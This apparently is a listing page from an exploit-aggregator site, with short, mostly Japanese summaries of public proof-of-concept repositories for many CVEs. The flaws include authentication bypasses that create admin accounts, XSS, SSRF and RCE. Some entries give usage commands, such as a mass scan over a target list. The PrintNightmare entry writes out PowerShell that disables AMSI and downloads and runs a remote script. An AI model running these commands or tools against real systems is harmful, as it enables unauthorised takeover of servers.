CVE-2024-3400

CVE-2024-3400 PoC 教育目的のみです。テストする許可を得たサーバーでのみ使用してください。 使い方 依存関係： root@kitploit: $ pip install rich targets.txt をスキャン： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

CVE-2025-68860

CVE-2025-68860 WordPress Mobile builder Plugin Mobile Builder における 代替パスまたはチャネルを使用した認証バイパス の脆弱性により、認証の悪用が可能になります。この問題は Mobile builder の n/a から 1.4.2 までに影響します。 CVSS スコア: 9.8 CRITICAL ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H リモートの攻撃者は、有効な認証トークンを生成し、事前の操作や資格情報なしで管理者アクセスを取得でき、WordPress...

CVE-2025-67876

CVE-2025-67876: ChurchCRMのグループ役割名における保存型XSSにより管理者セッションがハイジャックされる 概要...

CVE-2020-6287-Sap-Add-User

CVE-2020-6287-Sap-Add-User SAP NetWeaver ポータルに管理者ユーザーを追加...

Mass-CVE-2023-28121-kdoec

CVE-2023-28121 WooCommerce Payments 5.6.2 - 未認証の権限昇格 管理者ユーザーの一括追加 使い方 このスクリプトはPython3を使用しています。依存関係をインストールしてください pip install -r requirements.txt 参照 https://wpscan.com/vulnerability/0f78a245-866c-462e-bd23-43dfadb57072...

CVE-2024-31218-WEBHOOD-LAB

CVE-2024-31218 — Webhood / PocketBase 認証バイパスラボ 概要 本プロジェクトは、CVE-2024-31218 に関する制御されたセキュリティ研究および脆弱性再現ラボです。この脆弱性は、Webhood 0.9.1 より前のバージョンに影響する重大な認証脆弱性です。 この脆弱性は、管理者アカウントが存在しない場合に、認証なしで PocketBase の管理者アカウントが作成されることに関連しています。影響を受ける API に到達できる攻撃者は、事前の認証なしに管理者アカウントを作成できる可能性があります。 本ラボの目的は以下のとおりです：...

-CVE-2023-43340-Evolution-Reflected-XSS---Installation-Admin-Options

Evolution CMS 反射型 XSS v3.2.3 作者: Sergio 説明: evolution v.3.2.3 のインストールプロセス Admin options における複数の反射型クロスサイトスクリプティング XSS 脆弱性により、ローカル攻撃者が cmsadmin、cmsadminemail、cmspassword、cmspasswordconfim パラメータに注入された細工されたペイロードを介して任意の Web スクリプトを実行できるようになります。 攻撃ベクトル: データベースインストールの Admin options プロセスにおける...

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 - Gitea ≤1.26.2 認証バイパス 1. Giteaとは？ Giteaは、組織や開発者がソースコードリポジトリの管理、課題の追跡、変更のレビュー、ソフトウェアプロジェクトでのコラボレーションを可能にする、軽量かつオープンソースのGitホスティングプラットフォーム です。GitHub やGitLab などのプラットフォームと同様の機能を提供しますが、セルフホスト型で、効率的で、保守が容易 なように設計されており、コードと開発インフラストラクチャをより細かく制御したい組織に適しています。 2. 脆弱性の解説 CVE-2026-20896...

CVE-2025-68860

WordPress Mobile Builder = 1.4.2 - 認証の欠陥 CVE-2025-68860 説明 WordPress Mobile builder プラグイン バージョン 1.4.2 以下には、攻撃者がデフォルトのシークレット「examplekey」を使用して有効な JWT トークンを作成し、管理者 userid=1 として認証できるようにする Broken Authentication（認証の欠陥）の脆弱性が存在します。このトークンを使用すると、攻撃者は新しい管理者アカウントを作成し、サイトを乗っ取ることができます。 脆弱性の詳細 CVE: CVE-2025-688...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb 重大な認証バイパス & パストラバーサル 認証を必要としない重大な脆弱性により、リモート攻撃者がFortiWebデバイス上に管理者アカウントを作成できるようになります。 📌 概要 CVE-2025-64446 は、FortiWeb Webアプリケーションファイアウォール管理インターフェースにおける深刻な相対パストラバーサル 脆弱性です。 認証されていないリモート攻撃者はこの欠陥を悪用して認証をバイパス し、完全な権限を持つ新しい管理者ユーザを作成することで、デバイスを完全に乗っ取ることができます。 CVSS v3.1 スコア :...

CVE-2024-22274

CVE-2024-22274: VMware vCenter Serverにおける認証済みリモートコード実行 vCenter Serverには、認証済みリモートコード実行の脆弱性が存在します。悪意のあるアクターがvCenterアプライアンスシェルに対する管理者権限を持つことで、この問題を悪用し、基盤となるオペレーティングシステム上で"root"ユーザとして任意のコマンドを実行する可能性があります。 ベンダー開示情報: この脆弱性に関するベンダーの開示情報はこちらをご覧ください。 必要条件: この脆弱性には以下が必要です: "admin"ロールを持つユーザの有効な資格情報 概念実証:...

CVE-2025-50364_CSRF_ADD_CATEGORY-phpgurukul-CVE

プロジェクト名とリポジトリURL: Maid Hiring Management System using PHP and MySQL 脆弱性タイプ: クライアントサイドリクエストフォージェリ 影響を受けるバージョン: v1.0 💣脆弱性の説明: PHPGurukul Hiring Management Systemの管理パネルにクロスサイトリクエストフォージェリ CSRF 脆弱性が存在します。これにより、攻撃者は認証済み管理者を悪意のあるサイトに誘導し、任意の採用カテゴリを追加できます。この脆弱性はデータの汚染や権限のない管理者レベルの変更を引き起こす可能性があります。 👩‍💻影響:...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — SVG画像アップロードを介したThingsBoard SSRF 概要 ThingsBoard IoTプラットフォームのバージョン4.2.1 未満に存在するサーバーサイドリクエストフォージェリ SSRF の脆弱性です。 テナント管理者権限を持つ攻撃者は、画像アップロードギャラリーを介して、内部URL参照を含む細工されたSVGファイルをアップロードできます。ThingsBoardがSVGをサーバー側で処理すると、参照先URLをフェッチし、インターネットに公開されていない内部サービスへのアクセスを可能にします。...

cve-2025-4615

CVE-2025-4615 — 技術分析と概念実証 脆弱性: PAN-OS管理Webインターフェースにおける入力の中立化不備 ベンダーアドバイザリ: https://security.paloaltonetworks.com/CVE-2025-4615 CVSS 4.0: 6.9（中）— 完全性 高、可用性 高 CWE: CWE-83（Webページの属性におけるスクリプトの中立化不備） CAPEC: CAPEC-165（ファイル操作） クレジット: Visa Inc. 分析日: 2026-03-26 1. エグゼクティブサマリー CVE-2025-4615は、Palo Alto...

CVE-2023-28121-WordPress-Privilege-Escalation

🔐 CVE-2023-28121 — WordPress 権限昇格 WooCommerce Payments プラグインを使用した WordPress の重大な脆弱性の実践的な悪用。 📌 概要 CVE-2023-28121 は、REST API を介して認証なしで管理者ユーザーを作成することを可能にします。 重大度: 緊急 CVSS 9.8 影響: サイトの完全な制御 種別: Authentication Bypass / Privilege Escalation 2023年3月時点で60万以上のアクティブなインストール...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Grav Admin プラグインの Direct Install 機能における認証済みリモートコード実行 RCE を可能にする Metasploit モジュールとラボ環境のセットアップです。 概要 CVE: CVE-2025-50286 影響: 認証済み RCE ベクター: 管理パネル → Direct Install 結果: Web サーバーの権限による任意コマンド実行 参照 CVE NVD Exploit-DB Metasploit でモジュールを読み込む root@kitploit: cp...

CVE-2021-34646

CVE-2021-34646 PoC NVDによるこの脆弱性の詳細 Booster for WooCommerce...

cve-2021-1675

cve-2021-1675 AMSI 비활성화: PowerShell에 복사 https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt invoke-script 실행 iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 관리자 계정 생성 Invoke-Nightmare -DriverNam...

CVE-2026-94042 AdithyaYelloju Restaurant Management System add_table.php mysqli_query sql injection

A vulnerability was found in AdithyaYelloju Restaurant Management System up to 7f0e7e84255e8fcfd488e83f8f91451bbbff6b9c. This affects the function mysqliquery of the file admin/addtable.php. The manipulation of the argument table/members/price results in sql injection. It is possible to launch th...

CVE-2024-54363-Exploit

CVE-2024-54363-エクスプロイト nssTheme Wp NssUser Register における不適切な権限割り当ての脆弱性により、権限昇格が可能になります。この問題は、Wp NssUser Register の n/a から 1.0.0 までのバージョンに影響します。 説明 WordPress 用プラグイン nssTheme Wp NssUser Register は、不適切な権限割り当て の問題に対して脆弱であり、権限昇格 を引き起こします。この脆弱性により、攻撃者は適切な認証なしに管理者権限を持つ新しいユーザーを登録できます。この問題は、バージョン 1.0.0...